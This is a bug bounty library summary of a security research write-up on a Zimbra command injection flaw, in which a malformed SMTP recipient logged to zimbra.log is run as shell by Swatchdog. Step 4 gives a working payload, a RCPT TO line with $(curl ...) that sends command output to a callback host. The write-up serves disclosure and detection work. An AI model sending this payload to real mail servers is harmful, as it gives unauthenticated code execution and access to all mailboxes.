# How CVE-2026-73570 turns a Zimbra log file into remote code execution

Unauthenticated SMTP recipient address is logged to zimbra.log, matched by Swatchdog, and passed to /bin/sh via Perl backticks, yielding RCE as zimbra.

- Payout: Research
- Severity: critical
- Program: Zimbra
- Write-up by: Eric Forte
- Disclosed: 2026-10-23
- CVE: CVE-2026-73570
- Write-up quality: 7/10
- Original: https://www.elastic.co/security-labs/threat-command/command-injection-zimbra-cve-2026-73570
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-command-injection-zimbra-cve-2026-73570
- Tags: area:cloud domain:infra impact:internal-access impact:rce kind:research platform:threat-intel sev:critical tech:email tech:linux technique:oob-exfil technique:source-review vuln:command-injection vuln:rce

**Target:** Zimbra Collaboration SMTP/Postfix + Swatchdog SNMP notification (swatchrc.in dosnmp)
**Root cause:** Swatchdog's dosnmp Perl function interpolates the attacker-controlled service name ($args{SERVICE}) into a backticked shell command, so a log line matching the service-status pattern executes arbitrary shell.
**Steps:**
1. Send SMTP with malformed RCPT TO lacking closing `>` so the address is logged to /var/log/zimbra.log
2. Craft the address to match `Service status change: <host> <service> changed from stopped to running` with `$(...)` in the service field
3. Swatchdog matches the line and calls dosnmp, which runs `/opt/zimbra/common/bin/snmptrap ... $args{SERVICE} ...` via backticks in /bin/sh
4. Payload executes as zimbra; verify via OOB callback e.g. `RCPT TO:<"x: Service status change: localhost $(curl "http://10.0.2.16:8080/capture/abc123/$( id | tr -d ' ' )") changed from stopped to running"@cve.invalid>`
**How found:** While building detections, researchers reproduced the exploit and noticed many public PoCs wrote payloads Swatchdog never matches, so failed tests looked patched; they inspected swatchrc.in line 26 dosnmp and traced the log-injection path.
**Exploitation:** Unauthenticated attacker sends one SMTP message with a malformed RCPT TO; Postfix logs it, Swatchdog matches the service-status pattern and executes the injected command as the zimbra user, enabling mailbox read and identity impersonation.
**Escalation:** zimbra account reads all mailboxes and sends as any local identity, enabling phishing and lateral movement; hunt for DB/signing key/LDAP compromise.
**Insight:** When a log-monitoring daemon (Swatchdog/Swatch) compiles config into Perl with backticked shell calls, any attacker-influenced log field matching the trigger regex becomes command injection; verify PoCs actually match the daemon's regex before concluding a target is patched.